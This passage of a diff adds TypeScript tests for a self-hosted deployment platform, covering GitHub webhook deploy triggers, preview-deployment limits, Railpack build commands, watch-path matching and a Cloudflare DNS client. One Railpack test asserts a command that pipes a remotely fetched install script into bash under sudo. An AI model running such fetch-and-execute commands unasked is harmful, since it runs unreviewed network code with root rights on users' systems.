getConditionValue(where, "application.autoDeploy") === true &&
|
||||
getConditionValue(where, "application.triggerType") === "push" &&
|
||||
getConditionValue(where, "application.branch") === "main" &&
|
||||
getConditionValue(where, "application.repository") === "dokploy" &&
|
||||
getConditionValue(where, "application.owner") === "agentHits" &&
|
||||
getConditionValue(where, "application.githubId") ===
|
||||
"github-provider-id";
|
||||
|
||||
return Promise.resolve(
|
||||
matches
|
||||
? [
|
||||
{
|
||||
applicationId: "application-id",
|
||||
serverId: null,
|
||||
watchPaths: null,
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
it("matches push events using repository owner name when available", async () => {
|
||||
const res = createResponse();
|
||||
|
||||
await handler(
|
||||
createPushRequest("main", {
|
||||
login: "agentHits-login",
|
||||
name: "agentHits",
|
||||
}),
|
||||
res,
|
||||
);
|
||||
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
|
||||
});
|
||||
|
||||
it("matches compose push events using repository owner login fallback", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([]);
|
||||
mocks.composeFindMany.mockImplementation(({ where }) => {
|
||||
const matches =
|
||||
getConditionValue(where, "compose.sourceType") === "github" &&
|
||||
getConditionValue(where, "compose.autoDeploy") === true &&
|
||||
getConditionValue(where, "compose.triggerType") === "push" &&
|
||||
getConditionValue(where, "compose.branch") === "main" &&
|
||||
getConditionValue(where, "compose.repository") === "dokploy" &&
|
||||
getConditionValue(where, "compose.owner") === "agentHits" &&
|
||||
getConditionValue(where, "compose.githubId") === "github-provider-id";
|
||||
|
||||
return Promise.resolve(
|
||||
matches
|
||||
? [
|
||||
{
|
||||
composeId: "compose-id",
|
||||
serverId: null,
|
||||
watchPaths: null,
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
});
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPushRequest("main"), res);
|
||||
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationType: "compose",
|
||||
composeId: "compose-id",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({ message: "Deployed 1 apps" });
|
||||
});
|
||||
|
||||
it("matches tag events using repository owner login fallback", async () => {
|
||||
mocks.applicationsFindMany.mockImplementation(({ where }) => {
|
||||
const matches =
|
||||
getConditionValue(where, "application.sourceType") === "github" &&
|
||||
getConditionValue(where, "application.autoDeploy") === true &&
|
||||
getConditionValue(where, "application.triggerType") === "tag" &&
|
||||
getConditionValue(where, "application.repository") === "dokploy" &&
|
||||
getConditionValue(where, "application.owner") === "agentHits" &&
|
||||
getConditionValue(where, "application.githubId") ===
|
||||
"github-provider-id";
|
||||
|
||||
return Promise.resolve(
|
||||
matches
|
||||
? [
|
||||
{
|
||||
applicationId: "application-id",
|
||||
serverId: null,
|
||||
},
|
||||
]
|
||||
: [],
|
||||
);
|
||||
});
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createTagRequest("v1.0.0"), res);
|
||||
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application",
|
||||
titleLog: "Tag created: v1.0.0",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({
|
||||
message: "Deployed 1 apps based on tag v1.0.0",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not deploy when the pushed branch does not match", async () => {
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPushRequest("feature"), res);
|
||||
|
||||
expect(mocks.queueAdd).not.toHaveBeenCalled();
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
expect(res.json).toHaveBeenCalledWith({ message: "No apps to deploy" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("GitHub app webhook preview deployments", () => {
|
||||
const createApplication = (
|
||||
overrides: Record<string, unknown> = {},
|
||||
): Record<string, unknown> => ({
|
||||
applicationId: "application-id",
|
||||
name: "my-app",
|
||||
serverId: null,
|
||||
previewLabels: [],
|
||||
previewLimit: 3,
|
||||
previewDeployments: [],
|
||||
previewRequireCollaboratorPermissions: false,
|
||||
...overrides,
|
||||
});
|
||||
|
||||
const createPreviewDeployments = (total: number) =>
|
||||
Array.from({ length: total }, (_, index) => ({
|
||||
previewDeploymentId: `existing-preview-${index}`,
|
||||
}));
|
||||
|
||||
const createPullRequestRequest = (action: string) =>
|
||||
({
|
||||
headers: {
|
||||
"x-hub-signature-256": "sha256=test-signature",
|
||||
"x-github-event": "pull_request",
|
||||
},
|
||||
body: {
|
||||
installation: {
|
||||
id: 12345,
|
||||
},
|
||||
action,
|
||||
pull_request: {
|
||||
id: 987,
|
||||
number: 42,
|
||||
title: "feat: add preview",
|
||||
html_url: "https://github.com/agentHits/dokploy/pull/42",
|
||||
labels: [],
|
||||
user: {
|
||||
login: "agentHits",
|
||||
},
|
||||
head: {
|
||||
ref: "feature",
|
||||
sha: "abc123",
|
||||
},
|
||||
base: {
|
||||
ref: "main",
|
||||
},
|
||||
},
|
||||
repository: {
|
||||
name: "dokploy",
|
||||
owner: {
|
||||
login: "agentHits",
|
||||
},
|
||||
},
|
||||
},
|
||||
}) as unknown as NextApiRequest;
|
||||
|
||||
beforeEach(() => {
|
||||
vi.clearAllMocks();
|
||||
mocks.githubFindFirst.mockResolvedValue({
|
||||
githubId: "github-provider-id",
|
||||
githubInstallationId: 12345,
|
||||
githubWebhookSecret: "webhook-secret",
|
||||
});
|
||||
mocks.verify.mockResolvedValue(true);
|
||||
mocks.queueAdd.mockResolvedValue({ id: "job-id" });
|
||||
mocks.createPreviewDeployment.mockResolvedValue({
|
||||
previewDeploymentId: "new-preview-id",
|
||||
});
|
||||
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue(undefined);
|
||||
});
|
||||
|
||||
it("redeploys an existing preview even when the limit is reached", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([
|
||||
createApplication({
|
||||
previewLimit: 2,
|
||||
previewDeployments: createPreviewDeployments(3),
|
||||
}),
|
||||
]);
|
||||
mocks.findPreviewDeploymentByApplicationId.mockResolvedValue({
|
||||
previewDeploymentId: "existing-preview-0",
|
||||
});
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPullRequestRequest("synchronize"), res);
|
||||
|
||||
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application-preview",
|
||||
previewDeploymentId: "existing-preview-0",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
});
|
||||
|
||||
it("does not create a new preview once the limit is reached", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([
|
||||
createApplication({
|
||||
previewLimit: 2,
|
||||
previewDeployments: createPreviewDeployments(2),
|
||||
}),
|
||||
]);
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPullRequestRequest("opened"), res);
|
||||
|
||||
expect(mocks.createPreviewDeployment).not.toHaveBeenCalled();
|
||||
expect(mocks.queueAdd).not.toHaveBeenCalled();
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
});
|
||||
|
||||
it("falls back to the default limit when none is configured", async () => {
|
||||
mocks.applicationsFindMany.mockResolvedValue([
|
||||
createApplication({
|
||||
previewLimit: null,
|
||||
previewDeployments: createPreviewDeployments(2),
|
||||
}),
|
||||
]);
|
||||
const res = createResponse();
|
||||
|
||||
await handler(createPullRequestRequest("opened"), res);
|
||||
|
||||
expect(mocks.createPreviewDeployment).toHaveBeenCalledWith(
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
branch: "feature",
|
||||
pullRequestId: 987,
|
||||
pullRequestNumber: 42,
|
||||
}),
|
||||
);
|
||||
expect(mocks.queueAdd).toHaveBeenCalledWith(
|
||||
"deployments",
|
||||
expect.objectContaining({
|
||||
applicationId: "application-id",
|
||||
applicationType: "application-preview",
|
||||
previewDeploymentId: "new-preview-id",
|
||||
type: "deploy",
|
||||
}),
|
||||
expect.objectContaining({
|
||||
removeOnComplete: true,
|
||||
removeOnFail: true,
|
||||
}),
|
||||
);
|
||||
expect(res.status).toHaveBeenCalledWith(200);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,113 @@
|
||||
import type { ApplicationNested } from "@dokploy/server/utils/builders";
|
||||
import { getRailpackCommand } from "@dokploy/server/utils/builders/railpack";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const createApplication = (
|
||||
overrides: Partial<ApplicationNested> = {},
|
||||
): ApplicationNested =>
|
||||
({
|
||||
appName: "test-app",
|
||||
buildType: "railpack",
|
||||
sourceType: "git",
|
||||
buildPath: "/",
|
||||
railpackVersion: "0.15.4",
|
||||
env: "TEST_VAR=one",
|
||||
cleanCache: false,
|
||||
environment: {
|
||||
project: {
|
||||
env: "",
|
||||
},
|
||||
env: "",
|
||||
},
|
||||
...overrides,
|
||||
}) as unknown as ApplicationNested;
|
||||
|
||||
const getSecretsHash = (command: string) => {
|
||||
const match = command.match(/secrets-hash=([a-f0-9]{64})/);
|
||||
if (!match?.[1]) {
|
||||
throw new Error("secrets-hash build arg was not found");
|
||||
}
|
||||
|
||||
return match[1];
|
||||
};
|
||||
|
||||
describe("getRailpackCommand", () => {
|
||||
it("includes secrets-hash without clean cache", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).not.toContain("cache-key=");
|
||||
});
|
||||
|
||||
it("includes cache-key only when clean cache is enabled", () => {
|
||||
const command = getRailpackCommand(
|
||||
createApplication({
|
||||
cleanCache: true,
|
||||
}),
|
||||
);
|
||||
|
||||
expect(command).toContain("--build-arg secrets-hash=");
|
||||
expect(command).toContain("--build-arg cache-key=");
|
||||
});
|
||||
|
||||
it("installs Railpack through sudo for non-root users", () => {
|
||||
const command = getRailpackCommand(createApplication());
|
||||
|
||||
expect(command).toContain(
|
||||
'$SUDO_CMD bash -c "$(curl -fsSL https://railpack.com/install.sh)"',
|
||||
);
|
||||
expect(command).toContain("sudo -n true 2>/dev/null");
|
||||
});
|
||||
|
||||
it("changes secrets-hash when an environment value changes", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=one",
|
||||
}),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: "TEST_VAR=two",
|
||||
}),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
|
||||
it("changes secrets-hash when referenced project or environment values change", () => {
|
||||
const firstCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=one",
|
||||
},
|
||||
env: "SHARED_VALUE=alpha",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
const secondCommand = getRailpackCommand(
|
||||
createApplication({
|
||||
env: [
|
||||
"PROJECT_VALUE=${{project.SHARED_VALUE}}",
|
||||
"ENVIRONMENT_VALUE=${{environment.SHARED_VALUE}}",
|
||||
].join("\n"),
|
||||
environment: {
|
||||
project: {
|
||||
env: "SHARED_VALUE=two",
|
||||
},
|
||||
env: "SHARED_VALUE=beta",
|
||||
},
|
||||
} as Partial<ApplicationNested>),
|
||||
);
|
||||
|
||||
expect(getSecretsHash(firstCommand)).not.toEqual(
|
||||
getSecretsHash(secondCommand),
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,65 @@
|
||||
import { shouldDeploy } from "@dokploy/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("shouldDeploy", () => {
|
||||
it("should deploy when no watch paths are configured", () => {
|
||||
expect(shouldDeploy(null, ["src/index.ts"])).toBe(true);
|
||||
expect(shouldDeploy([], ["src/index.ts"])).toBe(true);
|
||||
});
|
||||
|
||||
it("should deploy when watch paths match modified files", () => {
|
||||
expect(shouldDeploy(["src/**"], ["src/index.ts"])).toBe(true);
|
||||
expect(shouldDeploy(["apps/web/**"], ["apps/web/page.tsx"])).toBe(true);
|
||||
});
|
||||
|
||||
it("should not deploy when watch paths do not match", () => {
|
||||
expect(shouldDeploy(["src/**"], ["docs/readme.md"])).toBe(false);
|
||||
});
|
||||
|
||||
it("should apply multiple negated watch paths as one pattern set", () => {
|
||||
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
|
||||
|
||||
expect(shouldDeploy(watchPaths, ["CHANGELOG.md"])).toBe(false);
|
||||
expect(shouldDeploy(watchPaths, ["VERSION"])).toBe(false);
|
||||
expect(shouldDeploy(watchPaths, ["tests/unit/example.test.ts"])).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("should deploy when a changed file remains after exclusions", () => {
|
||||
const watchPaths = ["!CHANGELOG.md", "!VERSION", "!tests/**"];
|
||||
|
||||
expect(shouldDeploy(watchPaths, ["VERSION", "src/index.ts"])).toBe(true);
|
||||
});
|
||||
|
||||
it("should combine positive and negated watch paths", () => {
|
||||
const watchPaths = ["src/**", "!src/**/*.test.ts"];
|
||||
|
||||
expect(shouldDeploy(watchPaths, ["src/index.ts"])).toBe(true);
|
||||
expect(shouldDeploy(watchPaths, ["src/index.test.ts"])).toBe(false);
|
||||
expect(shouldDeploy(watchPaths, ["docs/readme.md"])).toBe(false);
|
||||
});
|
||||
|
||||
it("should not throw when modified files contain non-string values", () => {
|
||||
expect(() =>
|
||||
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
|
||||
).not.toThrow();
|
||||
expect(
|
||||
shouldDeploy(["src/**"], ["src/index.ts", undefined, null] as any),
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("should not throw when modified files are undefined or null", () => {
|
||||
expect(() => shouldDeploy(["src/**"], undefined)).not.toThrow();
|
||||
expect(() => shouldDeploy(["src/**"], null)).not.toThrow();
|
||||
expect(shouldDeploy(["src/**"], undefined)).toBe(false);
|
||||
expect(shouldDeploy(["src/**"], null)).toBe(false);
|
||||
});
|
||||
|
||||
it("should not throw when every modified file is non-string", () => {
|
||||
expect(() =>
|
||||
shouldDeploy(["src/**"], [undefined, undefined] as any),
|
||||
).not.toThrow();
|
||||
expect(shouldDeploy(["src/**"], [undefined, undefined] as any)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,453 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
const mockFetch = vi.fn();
|
||||
global.fetch = mockFetch as typeof fetch;
|
||||
|
||||
import { cloudflareClient } from "@dokploy/server/utils/dns/cloudflare";
|
||||
|
||||
const jsonResponse = (body: unknown, ok = true, status = 200) =>
|
||||
({
|
||||
ok,
|
||||
status,
|
||||
json: async () => body,
|
||||
}) as Response;
|
||||
|
||||
const cfSuccess = (result: unknown) =>
|
||||
jsonResponse({ success: true, errors: [], result });
|
||||
|
||||
const cfError = (message: string, status = 400) =>
|
||||
jsonResponse(
|
||||
{ success: false, errors: [{ code: 1, message }] },
|
||||
false,
|
||||
status,
|
||||
);
|
||||
|
||||
const config = { providerType: "cloudflare" as const, apiToken: "cf-token" };
|
||||
|
||||
beforeEach(() => {
|
||||
mockFetch.mockReset();
|
||||
});
|
||||
|
||||
describe("cloudflareClient.listZones", () => {
|
||||
it("returns a single page of zones", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([{ id: "z1", name: "example.com" }]));
|
||||
|
||||
const zones = await cloudflareClient.listZones(config);
|
||||
|
||||
expect(zones).toEqual([{ id: "z1", name: "example.com" }]);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(1);
|
||||
const [url] = mockFetch.mock.calls[0] as [string];
|
||||
expect(url).toContain("/zones?per_page=50&page=1");
|
||||
});
|
||||
|
||||
it("paginates until a short page is returned", async () => {
|
||||
const page = (count: number) =>
|
||||
cfSuccess(
|
||||
Array.from({ length: count }, (_, i) => ({
|
||||
id: `z${i}`,
|
||||
name: `zone${i}.com`,
|
||||
})),
|
||||
);
|
||||
mockFetch.mockResolvedValueOnce(page(50)).mockResolvedValueOnce(page(3));
|
||||
|
||||
const zones = await cloudflareClient.listZones(config);
|
||||
|
||||
expect(zones).toHaveLength(53);
|
||||
expect(mockFetch).toHaveBeenCalledTimes(2);
|
||||
expect(mockFetch.mock.calls[1]?.[0]).toContain("page=2");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.listRecords", () => {
|
||||
it("lists records for a zone", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
cfSuccess([
|
||||
{
|
||||
id: "r1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await cloudflareClient.listRecords(config, "zone-1");
|
||||
|
||||
expect(records).toEqual([
|
||||
{
|
||||
id: "r1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
},
|
||||
]);
|
||||
expect(mockFetch.mock.calls[0]?.[0]).toContain("/zones/zone-1/dns_records");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient MX priority", () => {
|
||||
it("inlines the priority into the content when listing", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
cfSuccess([
|
||||
{
|
||||
id: "mx-1",
|
||||
type: "MX",
|
||||
name: "example.com",
|
||||
content: "mail.example.com",
|
||||
ttl: 300,
|
||||
priority: 20,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await cloudflareClient.listRecords(config, "zone-1");
|
||||
|
||||
expect(records[0]?.content).toBe("20 mail.example.com");
|
||||
});
|
||||
|
||||
it("splits the priority back out when writing", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "MX",
|
||||
name: "example.com",
|
||||
content: "20 mail.example.com",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(JSON.parse(init.body as string)).toMatchObject({
|
||||
content: "mail.example.com",
|
||||
priority: 20,
|
||||
});
|
||||
});
|
||||
|
||||
it("falls back to priority 10 when the content has no leading number", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "mx-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "MX",
|
||||
name: "example.com",
|
||||
content: "mail.example.com",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(JSON.parse(init.body as string)).toMatchObject({
|
||||
content: "mail.example.com",
|
||||
priority: 10,
|
||||
});
|
||||
});
|
||||
|
||||
it("leaves non-MX content untouched", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "TXT",
|
||||
name: "example.com",
|
||||
content: "10 not-a-priority",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(init.body as string);
|
||||
expect(body.content).toBe("10 not-a-priority");
|
||||
expect(body.priority).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient structured records", () => {
|
||||
const stubCreate = () =>
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "rec-1" }));
|
||||
|
||||
it("sends SRV values as structured data", async () => {
|
||||
stubCreate();
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "SRV",
|
||||
name: "_sip._tcp.example.com",
|
||||
content: "1 10 5269 talk.example.com",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(init.body as string);
|
||||
expect(body.data).toEqual({
|
||||
priority: 1,
|
||||
weight: 10,
|
||||
port: 5269,
|
||||
target: "talk.example.com",
|
||||
});
|
||||
expect(body.content).toBeUndefined();
|
||||
});
|
||||
|
||||
it("sends CAA values as structured data and drops the quotes", async () => {
|
||||
stubCreate();
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "CAA",
|
||||
name: "example.com",
|
||||
content: '0 issue "letsencrypt.org"',
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(init.body as string);
|
||||
expect(body.data).toEqual({
|
||||
flags: 0,
|
||||
tag: "issue",
|
||||
value: "letsencrypt.org",
|
||||
});
|
||||
expect(body.content).toBeUndefined();
|
||||
});
|
||||
|
||||
it("rejects an SRV value that is missing a part", async () => {
|
||||
await expect(
|
||||
cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "SRV",
|
||||
name: "_sip._tcp.example.com",
|
||||
content: "1 10 5269",
|
||||
}),
|
||||
).rejects.toThrow(/SRV value/);
|
||||
});
|
||||
|
||||
it("rejects a CAA value that has no tag", async () => {
|
||||
await expect(
|
||||
cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "CAA",
|
||||
name: "example.com",
|
||||
content: "0",
|
||||
}),
|
||||
).rejects.toThrow(/CAA value/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient proxy status", () => {
|
||||
it("sends the proxy status for proxiable types", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
proxied: true,
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(JSON.parse(init.body as string).proxied).toBe(true);
|
||||
});
|
||||
|
||||
it("omits the proxy status for types Cloudflare cannot proxy", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "txt-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "TXT",
|
||||
name: "example.com",
|
||||
content: "hello",
|
||||
proxied: true,
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(JSON.parse(init.body as string).proxied).toBeUndefined();
|
||||
});
|
||||
|
||||
it("leaves the proxy status untouched when the caller does not set it", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "a-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
const [, init] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect("proxied" in JSON.parse(init.body as string)).toBe(false);
|
||||
});
|
||||
|
||||
it("returns the proxy status when listing records", async () => {
|
||||
mockFetch.mockResolvedValue(
|
||||
cfSuccess([
|
||||
{
|
||||
id: "a-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
ttl: 1,
|
||||
proxied: true,
|
||||
},
|
||||
]),
|
||||
);
|
||||
|
||||
const records = await cloudflareClient.listRecords(config, "zone-1");
|
||||
|
||||
expect(records[0]?.proxied).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.upsertRecord", () => {
|
||||
it("creates a record when none exists for the name/type", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "1.2.3.4",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "new-1" });
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(createInit.method).toBe("POST");
|
||||
});
|
||||
|
||||
it("updates the existing record when content matches", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
cfSuccess([{ id: "existing-1", type: "A", content: "5.6.7.8" }]),
|
||||
)
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "existing-1" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "existing-1" });
|
||||
const [updateUrl, updateInit] = mockFetch.mock.calls[1] as [
|
||||
string,
|
||||
RequestInit,
|
||||
];
|
||||
expect(updateUrl).toContain("/dns_records/existing-1");
|
||||
expect(updateInit.method).toBe("PUT");
|
||||
});
|
||||
|
||||
it("creates a new record when content differs from existing", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(
|
||||
cfSuccess([{ id: "existing-1", type: "A", content: "1.1.1.1" }]),
|
||||
)
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-2" }));
|
||||
|
||||
const result = await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "5.6.7.8",
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "new-2" });
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
expect(createInit.method).toBe("POST");
|
||||
});
|
||||
|
||||
it("defaults ttl to 1 (automatic) when not provided", async () => {
|
||||
mockFetch
|
||||
.mockResolvedValueOnce(cfSuccess([]))
|
||||
.mockResolvedValueOnce(cfSuccess({ id: "new-1" }));
|
||||
|
||||
await cloudflareClient.upsertRecord(config, {
|
||||
zoneId: "zone-1",
|
||||
type: "CNAME",
|
||||
name: "www.example.com",
|
||||
content: "example.com",
|
||||
});
|
||||
|
||||
const [, createInit] = mockFetch.mock.calls[1] as [string, RequestInit];
|
||||
const body = JSON.parse(createInit.body as string);
|
||||
expect(body.ttl).toBe(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.updateRecord", () => {
|
||||
it("PUTs directly to the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess({ id: "r1" }));
|
||||
|
||||
const result = await cloudflareClient.updateRecord(config, "zone-1", "r1", {
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
|
||||
expect(result).toEqual({ id: "r1" });
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||
expect(init.method).toBe("PUT");
|
||||
expect(JSON.parse(init.body as string)).toEqual({
|
||||
type: "A",
|
||||
name: "app.example.com",
|
||||
content: "9.9.9.9",
|
||||
ttl: 300,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.deleteRecord", () => {
|
||||
it("DELETEs the given record id", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess({}));
|
||||
|
||||
await cloudflareClient.deleteRecord(config, "zone-1", "r1");
|
||||
|
||||
const [url, init] = mockFetch.mock.calls[0] as [string, RequestInit];
|
||||
expect(url).toContain("/zones/zone-1/dns_records/r1");
|
||||
expect(init.method).toBe("DELETE");
|
||||
});
|
||||
});
|
||||
|
||||
describe("cloudflareClient.testConnection", () => {
|
||||
it("succeeds when the token can list zones", async () => {
|
||||
mockFetch.mockResolvedValue(cfSuccess([]));
|
||||
await expect(
|
||||
cloudflareClient.testConnection(config),
|
||||
).resolves.toBeUndefined();
|
||||
});
|
||||
|
